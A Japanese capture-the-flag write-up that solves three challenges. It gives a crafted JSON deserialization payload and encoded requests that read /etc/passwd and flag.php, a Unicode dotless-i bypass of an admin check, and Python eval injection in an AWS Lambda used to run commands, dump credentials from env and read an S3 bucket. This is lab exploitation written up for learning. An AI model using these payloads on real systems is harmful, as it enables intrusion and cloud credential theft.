[web] Jsonify
この問題解いたら謎の人物から解き方教えてDM来ました。
GET /
するとphpコードがもらえる。
改行と空白が消されているのでPHP Beautifierとか使ったり、見た感じで復元する。
なぜこんな面倒なことをしているか分からないが、もしかしたら何かを隠しているのかも…?
if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) { $f = secure_unjsonify($_GET['obj'], array( 'Flag' )); $f->setFlagFile($_GET['flagfile']); $f->readFlag(); $f->showFlag(); }
このルートを通ってフラグを表示させる。
readFlagとshowFlagを実行する前に
$this->flagfile
にLFIしたいファイルパスを入れる- 入れておくと
$this->flag = join("", file($this->flagfile));
のようにreadFlagで読まれる
- 入れておくと
$this->isAllowedToSeeFlag
をtrueにする- 代入する方法がないので、objで入れ込むjson経由で入れ込むしかない
ソースコードを見ながらコネコネpayloadを作る。
flagfileとisAllowdToSeeFlagを入れ込めればいいので、以下のようにやってとりあえず/etc/passwd
を抜いてみる。
<?php class Flag { public $flag; public $flagfile; public $properties = array(); public $isAllowedToSeeFlag; public function __shutdown() { return $this->properties; } } function secure_jsonify($obj) { $data = array(); $data['class'] = get_class($obj); $data['properties'] = array(); foreach ($obj->__shutdown() as & $key) { $data['properties'][$key] = serialize($obj->$key); } return json_encode($data); } $ob = new Flag(); $ob->properties = array('flagfile', 'isAllowedToSeeFlag'); $ob->flagfile = "/etc/passwd"; $ob->isAllowedToSeeFlag = true; $data = secure_jsonify($ob); echo($data);
{"class":"Flag","properties":{"flagfile":"s:11:\"\/etc\/passwd\";","isAllowedToSeeFlag":"b:1;"}}
が出てくるのでこれをobjに渡してやればいい。showとflagfileはなんでもいいので、以下のようにリクエストを送ると無事LFIできることが確認できる。
GET /?show&obj=%7b%22class%22%3a%22Flag%22%2c%22properties%22%3a%7b%22flagfile%22%3a%22s%3a11%3a%5c%22%5c%2fetc%5c%2fpasswd%5c%22%3b%22%2c%22isAllowedToSeeFlag%22%3a%22b%3a1%3b%22%7d%7d&flagfile
これであとはソースコード内に言及のあるflag.php
を取ってくればフラグ獲得
setFlagFileでif (stristr($flagfile, "flag") || !file_exists($flagfile))
というチェックが走っているが、今回のルートではチェックされないので問題ない。
GET /?show&obj=%7b%22class%22%3a%22Flag%22%2c%22properties%22%3a%7b%22flagfile%22%3a%22s%3a8%3a%5c%22flag.php%5c%22%3b%22%2c%22isAllowedToSeeFlag%22%3a%22b%3a1%3b%22%7d%7d&flagfile
ENO{PHPwn_1337_hakkrz}
[web] Unis Love Code
GET /
でソースコードが与えられる。
無茶苦茶な感じになっているので整形すると、username=admin
っぽいのをPOSTで渡せばいいみたいだ。
しかし、抜粋した以下のフィルターを通す必要がある。
username='ADMIN' check_funcs=["strip","lower"] def _check_access(self,u): for cf in UnisLoveCode.check_funcs: if getattr(str,cf)(UnisLoveCode.username)==u: return False for c in u: if c in string.ascii_uppercase: return False return UnisLoveCode.username.upper()==u.upper()
uにはPOSTで指定したusernameのvalueが入る。
stripはちょっと省略すると、
- 'ADMIN'.lower() != 入力
- 入力に大文字を含んではいけない
- 'Admin'.upper() == 入力.upper()
以上を満たす必要がある。
入力に手を加えているのは最後だけなので、upperで検索してみると、Unicodeならすごい変換が起きるみたい。
SECCON CTF 2021 write-up - プログラム系統備忘録ブログ
adminのどれかで使える文字がないか探すと"ı".upper() == "I"
が見つかった。
なので、これを使ってusername=adm%c4%b1n
を送るとフラグ獲得。
ENO{PYTH0Ns_Un1C0d3_C0nv3rs1on_0r_C0nfUs1on}
[cloud] Cloud 9*9
POST /calc
で計算をさせることができる。
適当に色々試すとエラーを出せる。
" File \"/var/task/lambda-function.py\", line 5, in lambda_handler 'result' : eval(event['input'])"
evalに投げている。
{"input":"__import__('os').system('sleep 5')"}
こんな感じで投げるとタイムアウトが起こる。
RCEできていそう。
入力を受け取りたいので{"input":"__import__('os').popen('id').read()"}
の方を使うことにしよう。
ls
するとlambdaのファイルがあるのでcat lambda-function.py
で中身を見てみる。
import json def lambda_handler(event, context): return { 'result' : eval(event['input']) #flag in nullcon-s3bucket-flag4 .. }
なるほど、OK。S3の方へラテラルムーブメントする必要がありそう。
env
を実行して各種認証情報を取り出して来よう。
AWS_SESSION_TOKEN=いろいろ AWS_SECRET_ACCESS_KEY=いろいろ AWS_ACCESS_KEY_ID=いろいろ
AWS_SESSION_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEYをそのまま手元の環境でexportして、awsコマンドで探索するとフラグが手に入る。
$ aws s3 ls s3://nullcon-s3bucket-flag4 2022-08-12 05:27:20 40 flag4.txt $ aws s3 cp s3://nullcon-s3bucket-flag4/flag4.txt . download: s3://nullcon-s3bucket-flag4/flag4.txt to ./flag4.txt $ cat flag4.txt ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}